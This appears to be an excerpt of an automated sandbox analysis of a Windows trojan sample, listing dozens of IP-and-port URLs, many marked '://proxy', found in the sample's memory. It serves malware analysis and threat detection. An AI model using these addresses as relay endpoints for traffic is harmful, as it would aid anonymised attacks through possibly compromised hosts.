Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:35626
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:35626://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:37842
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:37842://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:46392
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:46392://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:47573
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:47573://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:5348
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:5348://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6895000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:60484
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:60484://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:63078
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:63078://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:7001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:7001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:9733
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.193.178:9733://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:49426
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:49426://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:51284
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:51284://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:62564
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:62564://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:62966
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.30:62966://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.31:49426
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.31:49426://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.31:52359
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.31:52359://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.31:62105
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD0E5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.31:62105://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.196.31:62105x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.197.178:36139
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.197.178:36139://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.197.178:45086
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82AA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.164.197.178:45086://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.226.128:59307
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.226.128:59307://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.226.175:56519
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.226.175:56519://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.237.26:52982
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.237.26:52982://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.252.198:14084
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.252.198:14084://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.252.198:49680
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.165.252.198:49680://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E44000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.17.18:8881
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.17.18:8881://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.197.129:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.197.129:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.230.38:16813
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.230.38:16813://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.252.135:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.252.135:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.30.17:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.30.17:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.56.246
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.56.246://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.56.246:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D9A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.99.171:18113
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.166.99.171:18113://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.168.24.222:81
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.168.24.222:81://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C936B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.169.84.30:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.169.84.30:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.173.14.99:36835
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.173.14.99:36835://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF8F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.225.24.22:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC13D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.225.24.22:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.234.147.54:8019
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.234.147.54:8019://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.235.0.207:8181
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.235.0.207:8181://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.25.121.203:8081
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.25.121.203:8081://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.252.14.7:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.252.14.7:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.255.244.53:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.255.244.53:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.255.244.83:52116
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.255.244.83:52116://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.255.244.9:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.255.244.9:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.34.164.99:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.34.164.99:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.68.236.126:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.68.236.126:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.87.137.45:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.87.137.45:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C839A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.95.20.138:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.95.20.138:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.10.103.98:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.10.103.98:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.151.86.170:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.151.86.170:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.161.3.231:10101
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.161.3.231:10101://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6948000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.201.191.75:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.201.191.75:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.202.188.149
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.202.188.149://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.163:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.163:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC1F8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.164:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC207000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.164:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.166:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.166:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.168:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.168:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.169:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6577000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.169:9090://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.171:9090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.240.60.171:9090://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.250.135.40
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.250.135.40://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.250.135.40:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.29.143.202:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.29.143.202:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.50.111.164:3629
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.50.111.164:3629://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C675D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.84.125.189:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C675D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.84.125.189:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.90.249.80:8090
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.90.249.80:8090://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.90.255.208:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://189.90.255.208:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83EA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.0.22.38:61155
